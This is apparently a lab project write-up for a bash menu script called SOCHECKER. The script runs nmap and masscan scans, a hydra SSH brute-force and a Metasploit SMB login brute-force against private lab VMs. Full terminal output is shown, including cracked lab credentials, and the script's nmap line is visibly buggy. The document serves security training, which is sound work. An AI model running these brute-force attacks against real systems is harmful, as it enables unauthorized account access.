

SOC Analyst Project- SOCHECKER

The script is used to conduct various scans and attacks and the results will be saved.

The target machines: Kali and Windows virtual machines

Kali (IP Address)

```
File Actions Edit View Help
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.0.5 netmask 255.0.0.0 broadcast 10.255.255.255
    inet6 fe80::20c:29ff:fe25:942c prefixlen 64 scopeid 0<link>
    ether 00:0c:29:25:94:2c txqueuelen 1000 (Ethernet)
    RX packets 24794 bytes 1784121 (1.7 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 18195 bytes 1229895 (1.1 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 17 bytes 2708 (2.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 17 bytes 2708 (2.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Windows (IP Address)

```
Administrator: C:\Windows\system32\cmd.exe

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : 
    Link-local IPv6 Address . . . . . : fe80::4d7a:6a3d:2ca3:e4ce%2
    IPv4 Address. . . . . : 10.0.0.1
    Subnet Mask . . . . . : 255.0.0.0
    Default Gateway . . . . . : 10.0.0.100

Tunnel adapter Local Area Connection* 3:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 

Tunnel adapter isatap.{0C2B5D6A-134B-4D5B-94D7-90EBB6826349}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :
```

The script will create a directory/folder named as “CheckerOutput” using the command “mkdir CheckerOutput”. All the results saved by the script will be stored inside this folder.

```
98 mkdir CheckerOutput
99 installtool
100 chkme
101
102
```

Install all relevant tools needed for running the scripts.

- ```
1 #!/bin/bash
2
3 function installtool()
4 {
5 # Install all relevant applications, if exists, the commands will upgrade the packages
6 sudo apt-get update && sudo apt-get upgrade
7 sudo apt-get install nmap
8 sudo apt-get install masscan
9 sudo apt-get install hydra
10 }
11
```

- [illegible]

```
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
nmap is already the newest version (7.92+dfsg2-1kali1).
nmap set to manually installed.
The following packages were automatically installed and are no longer required:
 fonts-roboto-slab liblttng-ust-ctl4 liblttng-ust0 python3-ipaddr python3-singledispatch python3-twisted-bin
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 803 not upgraded.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
masscan is already the newest version (2:1.3.2+ds1-1).
masscan set to manually installed.
The following packages were automatically installed and are no longer required:
 fonts-roboto-slab liblttng-ust-ctl4 liblttng-ust0 python3-ipaddr python3-singledispatch python3-twisted-bin
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 803 not upgraded.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
 fonts-roboto-slab liblttng-ust-ctl4 liblttng-ust0 python3-ipaddr python3-singledispatch python3-twisted-bin
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
 gcc-12-base libbssn-1.0-0 libicu71 libmongoc-1.0-0 libssl3 libstdc++6
The following NEW packages will be installed:
 gcc-12-base libicu71 libssl3
The following packages will be upgraded:
 hydra libbssn-1.0-0 libmongoc-1.0-0 libstdc++6
4 upgraded, 3 newly installed, 0 to remove and 799 not upgraded.
Need to get 12.7 MB/12.7 MB of archives.
After this operation, 42.8 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Get:1 http://mirror.aktkn.sg/kali kali-rolling/main amd64 gcc-12-base amd64 12.1.0-7 [207 kB]
Get:2 http://http.kali.org/kali kali-rolling/main amd64 libstdc++6 amd64 12.1.0-7 [614 kB]
Get:3 http://mirror.aktkn.sg/kali kali-rolling/main amd64 libicu71 amd64 71.1-3 [9,218 kB]
Get:4 http://mirror.aktkn.sg/kali kali-rolling/main amd64 libssl3 amd64 3.0.4-2 [2,034 kB]
Get:5 http://mirror.aktkn.sg/kali kali-rolling/main amd64 libmongoc-1.0-0 amd64 1.22.1-1 [305 kB]
Get:6 http://http.kali.org/kali kali-rolling/main amd64 hydra amd64 9.3-3+b1 [276 kB]
Fetched 12.7 MB in 2s (7,404 kB/s)
Selecting previously unselected package gcc-12-base:amd64.
(Reading database ... 291775 files and directories currently installed.)
Preparing to unpack .../gcc-12-base_12.1.0-7_amd64.deb ...
Unpacking gcc-12-base:amd64 (12.1.0-7) ...
Setting up gcc-12-base:amd64 (12.1.0-7) ...
(Reading database ... 291780 files and directories currently installed.)
Preparing to unpack .../libstdc++6_12.1.0-7_amd64.deb ...
```

Step 3:

The script will prompt user to choose which option.

If user selects Option A, user will be asked to provide an IP Address. Thereafter, nmap scan will be carried as follows.

1) From terminal

```
Processing triggers for desktop-file-utils (0.26-1) ...
Processing triggers for libc-bin (2.33-8) ...
Processing triggers for man-db (2.10.2-1) ...
Would you like to scan an IP Address or execute an attack? A) Nmap B) Masscan C) Hydra (SSH) D) Metasploit- SMB Login Enumeration E) Exit A
Please provide an IP Address for scanning: 10.0.0.5
Starting Nmap 7.92 (https://nmap.org) at 2022-08-26 23:07 EDT
Nmap scan report for 10.0.0.5
Host is up (0.00036s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

The result is saved into a file named nmap.txt and it can found at location below.
/home/kali/CheckerOutput
```



User will be able to view the saved result at nmap.txt file inside CheckerOutput folder.

```
(kali@kali)-[~]
└─$ ls
CheckerOutput Desktop Downloads Music passwd.txt Pictures Public SOChecker.sh Templates user.txt Videos

(kali@kali)-[~]
└─$ cd CheckerOutput

(kali@kali)-[~/CheckerOutput]
└─$ ls
nmap.txt

(kali@kali)-[~/CheckerOutput]
└─$ cat nmap.txt
Nmap 7.92 scan initiated Fri Aug 26 23:07:27 2022 as: nmap -Pn -sV -oN ./CheckerOutput/nmap.txt 10.0.0.5
Nmap scan report for 10.0.0.5
Host is up (0.00036s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Debian 1 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Fri Aug 26 23:07:28 2022 -- 1 IP address (1 host up) scanned in 0.78 seconds
```

## 2) From script

```
function chkme ()
{
 read -p "Would you like to scan an IP Address or execute an attack? A) Nmap B) Masscan C) Hydra (SSH) D) Metasploit- SMB Login Enumeration E) Exit " checker
 case $checker in
 A)
 read -p "Please provide an IP Address for scanning: " ipadd
 nmap -sV -oN -Pn -sV -oN ./CheckerOutput/nmap.txt
 echo " "
 echo " "
 cd CheckerOutput
 echo "The result is saved into a file named nmap.txt and it can be found at location below."
 pwd
 cd ..
 echo " "
 echo " "
 chkme
 ;;
 esac
}
```

## Step 4:

If user selects Option B, user will be asked to provide an IP Address. Thereafter, Masscan will be carried out.

### 1) From terminal

```
Would you like to scan an IP Address or execute an attack? A) Nmap B) Masscan C) Hydra (SSH) D) Metasploit- SMB Login Enumeration E) Exit B
Please provide an IP Address for scanning:
10.0.0.5
Starting masscan 1.3.2 (http://bit.ly/14GZzCT) at 2022-08-27 03:15:25 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [81 ports/host]
The result is saved into a file named masscan.xml and it can be found at location below.
/home/kali/CheckerOutput
```

User will be able to view the saved result at masscan.xml file inside CheckerOutput folder.

```
File Actions Edit View Help
(kali@kali)-[~/CheckerOutput]
└─$ ls
masscan.xml nmap.txt

(kali@kali)-[~/CheckerOutput]
└─$ cat masscan.xml
<?xml version="1.0"?>
<!-- masscan v1.0 scan -->
<nmaprun scanner="masscan" start="1661570126" version="1.0-BETA" xmloutputversion="1.03">
 <scaninfo type="syn" protocol="tcp" />
 <host endtime="1661570126"><address addr="10.0.0.5" addrtypes="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="64"/></port></ports></host>
 <runstats>
 <finished time="1661570141" timestr="2022-08-26 23:15:41" elapsed="16" />
 <hosts up="2" down="0" total="2" />
 </runstats>
</nmaprun>
```

## 2) From script

```
B)
echo "Please provide an IP Address for scanning: "
read ipadd
sudo masscan "$ipadd" -p0-80 -oX ./CheckerOutput/masscan.xml
echo " "
echo " "
cd CheckerOutput
echo "The result is saved into a file named masscan.xml and it can found at location below."
pwd
cd ..
echo " "
echo " "
chkme

;;
```

### Step 5:

If user selects Option C, user will be asked to provide an IP Address. Thereafter, Masscan will be carried out.

Note: Please remember to place user.txt and passwd.txt files at same location as SOChecker.sh script. For hydra tool to work, it requires user to provide list of usernames and passwords to brute force (i.e. trial and error).

## 1) From terminal

```
Would you like to scan an IP Address or execute an attack? A) Nmap B) Masscan C) Hydra (SSH) D) Metasploit- SMB Login Enumeration E) Exit C
Please provide username file (filename: user.txt) and password file (filename: passwd.txt) at /home/kali for Hydra to brute force
Please provide an IP Address for brute force:
10.0.0.5
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-26 23:27:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 63 login tries (1:7/p:9), ~4 tries per task
[DATA] attacking ssh://10.0.0.5:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://10.0.0.5:22
[INFO] Successful, password authentication is supported by ssh://10.0.0.5:22
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "13123342345" - 1 of 63 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "fdsdggfweidf" - 2 of 63 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "334325432" - 3 of 63 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "dfsadfdsgty" - 4 of 63 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "sarsfgrth" - 5 of 63 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "dfdgrdyui" - 6 of 63 [child 5] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "rwe34565u" - 7 of 63 [child 6] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "Passw0rd!" - 8 of 63 [child 7] (0/0)
[ATTEMPT] target 10.0.0.5 - login "kali" - pass "kali" - 9 of 63 [child 8] (0/0)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "13123342345" - 10 of 63 [child 9] (0/0)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "fdsdggfweidf" - 11 of 63 [child 10] (0/0)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "334325432" - 12 of 63 [child 11] (0/0)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "dfsadfdsgty" - 13 of 63 [child 12] (0/0)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "sarsfgrth" - 14 of 63 [child 13] (0/0)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "dfdgrdyui" - 15 of 63 [child 14] (0/0)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "rwe34565u" - 16 of 63 [child 15] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 11 because of too many errors
[VERBOSE] Disabled child 12 because of too many errors
[VERBOSE] Disabled child 15 because of too many errors
[22][ssh] host: 10.0.0.5 login: kali password: kali
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "Passw0rd!" - 17 of 66 [child 0] (0/3)
[ATTEMPT] target 10.0.0.5 - login "athrun" - pass "kali" - 18 of 66 [child 1] (0/3)
[ATTEMPT] target 10.0.0.5 - login "alex" - pass "13123342345" - 19 of 66 [child 2] (0/3)
[ATTEMPT] target 10.0.0.5 - login "alex" - pass "fdsdggfweidf" - 20 of 66 [child 3] (0/3)
[ATTEMPT] target 10.0.0.5 - login "alex" - pass "334325432" - 21 of 66 [child 4] (0/3)
[ATTEMPT] target 10.0.0.5 - login "alex" - pass "dfsadfdsgty" - 22 of 66 [child 5] (0/3)
```

```
[ATTEMPT] target 10.0.0.5 - login "yahoo" - pass "dfdgrdyui" - 51 of 66 [child 4] (0/3)
[VERBOSE] Retrying connection for child 13
[ATTEMPT] target 10.0.0.5 - login "yahoo" - pass "rwe34565u" - 52 of 66 [child 14] (0/3)
[RE-ATTEMPT] target 10.0.0.5 - login "yahoo" - pass "sarsfgth" - 52 of 66 [child 13] (0/3)
[ERROR] could not connect to target port 22: Socket error: disconnected
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 13
[ATTEMPT] target 10.0.0.5 - login "yahoo" - pass "Passw0rd!" - 53 of 66 [child 0] (0/3)
[RE-ATTEMPT] target 10.0.0.5 - login "yahoo" - pass "sarsfgth" - 53 of 66 [child 13] (0/3)
[ATTEMPT] target 10.0.0.5 - login "yahoo" - pass "kali" - 54 of 66 [child 1] (0/3)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 1
[ATTEMPT] target 10.0.0.5 - login "google" - pass "13123342345" - 55 of 66 [child 6] (0/3)
[RE-ATTEMPT] target 10.0.0.5 - login "google" - pass "kali" - 55 of 66 [child 1] (0/3)
[ATTEMPT] target 10.0.0.5 - login "google" - pass "fdsdggfwdfd" - 56 of 66 [child 2] (0/3)
[ATTEMPT] target 10.0.0.5 - login "google" - pass "334325432" - 57 of 66 [child 7] (0/3)
[ATTEMPT] target 10.0.0.5 - login "google" - pass "dfsadfdsgty" - 58 of 66 [child 3] (0/3)
[ATTEMPT] target 10.0.0.5 - login "google" - pass "sarsfgth" - 59 of 66 [child 8] (0/3)
[ATTEMPT] target 10.0.0.5 - login "google" - pass "dfdgrdyui" - 60 of 66 [child 10] (0/3)
[ATTEMPT] target 10.0.0.5 - login "google" - pass "rwe34565u" - 61 of 66 [child 5] (0/3)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 5
[ATTEMPT] target 10.0.0.5 - login "google" - pass "Passw0rd!" - 62 of 66 [child 9] (0/3)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ATTEMPT] target 10.0.0.5 - login "google" - pass "kali" - 63 of 66 [child 4] (0/3)
[RE-ATTEMPT] target 10.0.0.5 - login "google" - pass "rwe34565u" - 63 of 66 [child 5] (0/3)
[VERBOSE] Retrying connection for child 9
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 5
[RE-ATTEMPT] target 10.0.0.5 - login "google" - pass "Passw0rd!" - 63 of 66 [child 9] (0/3)
[RE-ATTEMPT] target 10.0.0.5 - login "google" - pass "rwe34565u" - 63 of 66 [child 5] (0/3)
[REDO-ATTEMPT] target 10.0.0.5 - login "athrun" - pass "334325432" - 64 of 66 [child 14] (1/3)
[REDO-ATTEMPT] target 10.0.0.5 - login "athrun" - pass "dfsadfdsgty" - 65 of 66 [child 0] (2/3)
[REDO-ATTEMPT] target 10.0.0.5 - login "athrun" - pass "rwe34565u" - 66 of 66 [child 13] (3/3)
[STATUS] attack finished for 10.0.0.5 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-26 23:28:09

The result is saved into a file named hydra.txt and it can found at location below.
/home/kali/CheckerOutput
```

User will be able to view the saved result at hydra.txt file inside CheckerOutput folder.  
Please take note that only successful credentials will be saved in hydra.txt.

```
File Actions Edit View Help
(kali@kali)~$ ls
CheckerOutput Documents Music Pictures SOChecker.sh user.txt
Desktop Downloads passwd.txt Public Templates Videos
(kali@kali)~$ cd CheckerOutput
(kali@kali)~/CheckerOutput$ ls
hydra.txt masscan.xml nmap.txt
(kali@kali)~/CheckerOutput$ cat hydra.txt
Hydra v9.3 run at 2022-08-26 23:27:52 on 10.0.0.5 ssh (hydra -L user.txt -P passwd.txt -vV -o ./CheckerOutput/hydra.txt 10.0.0.5 ssh)
[22][ssh] host: 10.0.0.5 login: kali password: kali
```

## 2) From script

```
C)
location=$(pwd)
echo "Please provide username file (filename: user.txt) and password file (filename: passwd.txt) at $location for Hydra to brute force"
echo "Please provide an IP Address for brute force: "
read ipadd
hydra -L user.txt -P passwd.txt "$ipadd" ssh -vV -o ./CheckerOutput/hydra.txt
echo " "
echo " "
cd CheckerOutput
echo "The result is saved into a file named hydra.txt and it can found at location below."
pwd
cd ..
echo " "
echo " "
chkme

;;
```

Step 6:

If user selects Option D, Metasploit on SMB login enumeration will be carried out.

1) From terminal

```
Would you like to scan an IP Address or execute an attack? A) Nmap B) Masscan C) Hydra (SSH) D) Metasploit- SMB Login Enumeration E) Exit D
Please provide username file (filename: user.txt) and password file (filename: passwd.txt) at /home/kali for Metasploit to brute force
Default IP Address set to brute Force is 10.0.0.1. Please amend the IP Address in the script (under Section D-Phosts) if you wish to use another IP Address.

The result is saved into a file named SMBenum.txt and it can be found at location below.
/home/kali/CheckerOutput
```

User will be able to view the saved result at SMBenum.txt file inside CheckerOutput folder.

```
(kali@kali)-[~]
└─$ ls
CheckerOutput Desktop Documents Downloads Music passwd.txt Pictures Public smb_enum_scripttest.rc SOChecker.sh Templates user.txt Videos

(kali@kali)-[~]
└─$ cd CheckerOutput

(kali@kali)-[~/CheckerOutput]
└─$ ls
hydra.txt masscan.xml nmap.txt SMBenum.txt

(kali@kali)-[~/CheckerOutput]
└─$ cat SMBenum.txt
;:lx00KXXXK00xl:.
,o0wMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMMNNNMMMMMMMMMMX,
lWMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMo
xMMMMMMMMMMd. .oNMMMMMMMMMK
oMMMMMMMMMx. dMMMMMMMMMx
.WMMMMMMMM: .MMMMMMMM,
xMMMMMMMMo lMMMMMMMMo
MMMMMMMMW ,cccccMMMMMMWlccccc;
MMMMMMMMX ;KMMMMMMMMMMMMMMX:
MMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMd ;oMMMMMMMMMK;
.WMMMMMMMMc 'oMMMMMMo,
lMMMMMMMMK. .kMMo'
dMMMMMMMMMd' ..
cMMMMMMMMMxc'. #####
.oMMMMMMMMMMWc #+ #+
;oMMMMMMMMMMo. ++
.dNMMMMMMMMMo +#+:++#
'o0wMMMMMMMMMo ++
.,cdK00K; :+ :+
:+++++: Metasploit

Metasploit
=[metasploit v6.1.27-dev]
+ --=[2196 exploits - 1162 auxiliary - 400 post]
+ --=[596 payloads - 45 encoders - 10 nops]
+ --=[9 evasion]

Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
```



```

[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\kali:334325432',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\kali:dfsadfdsgty',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\kali:sarsfgth',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\kali:dfdgrdtyui',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\kali:rwe34565u',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\kali:Passw0rd!',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\kali:kali',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\athrun:13123342345',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\athrun:fdsgggfwedfd',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\athrun:334325432',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\athrun:dfsadfdsgty',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\athrun:sarsfgth',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\athrun:dfdgrdtyui',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\athrun:rwe34565u',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Success: '\athrun:Passw0rd!',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:13123342345',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:fdsgggfwedfd',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:334325432',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:dfsadfdsgty',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:sarsfgth',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:dfdgrdtyui',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:rwe34565u',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:Passw0rd!',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\alex:kali',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:13123342345',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:fdsgggfwedfd',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:334325432',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:dfsadfdsgty',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:sarsfgth',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:dfdgrdtyui',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:rwe34565u',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:Passw0rd!',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\geany:kali',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:13123342345',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:fdsgggfwedfd',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:334325432',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:dfsadfdsgty',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:sarsfgth',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:dfdgrdtyui',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:rwe34565u',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:Passw0rd!',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\jean:kali',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:13123342345',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:fdsgggfwedfd',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:334325432',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:dfsadfdsgty',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:sarsfgth',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:dfdgrdtyui',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:rwe34565u',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:Passw0rd!',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\yahoo:kali',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:13123342345',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:fdsgggfwedfd',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:334325432',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:dfsadfdsgty',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:sarsfgth',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:dfdgrdtyui',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:rwe34565u',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:Passw0rd!',
[-] 10.0.0.1:445 - 10.0.0.1:445 - Failed: '\google:kali',
[*] 10.0.0.1:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (smb_enum_scripttest.rc)> exit

```

## 2) From script

```

#Section D
D)
echo "Please provide username file (filename: user.txt) and password file (filename: passwd.txt) at $location for Metasploit to brute force"
echo "Default IP Address set to brute force is 10.0.0.1. Please amend the IP Address in the script (under Section D-rhosts) if you wish to use another IP Address."

echo 'use auxiliary/scanner/smb/smb_login' > smb_enum_scripttest.rc
#Default IP Address as below
echo 'set rhosts 10.0.0.1' >> smb_enum_scripttest.rc
echo 'set user_file user.txt' >> smb_enum_scripttest.rc
echo 'set pass_file passwd.txt' >> smb_enum_scripttest.rc
echo 'run' >> smb_enum_scripttest.rc
echo 'exit' >> smb_enum_scripttest.rc

msfconsole -r smb_enum_scripttest.rc -o ./CheckerOutput/SMBenum.txt
echo " "
echo " "
cd CheckerOutput
echo "The result is saved into a file named SMBenum.txt and it can found at location below."
pwd
cd ..
echo " "
echo " "
chkme

```



Please take note that the default IP Address to brute force is “10.0.0.1”. If user decides to enumerate at another IP Address, please amend into desired IP Address at highlight line below.

```
echo 'set rhosts 10.0.0.1' >> smb_enum_scripttest.rc
```

#### Step 7:

If user decides to exit the script, user can select Option E. The session will be closed.

##### 1) From terminal

```
Would you like to scan an IP Address or execute an attack? A) Nmap B) Masscan C) Hydra (SSH) D) Metasploit- SMB Login Enumeration E) Exit E
kali@kali:~$
```

##### 2) From script

```
;;
E)
 exit
;;
```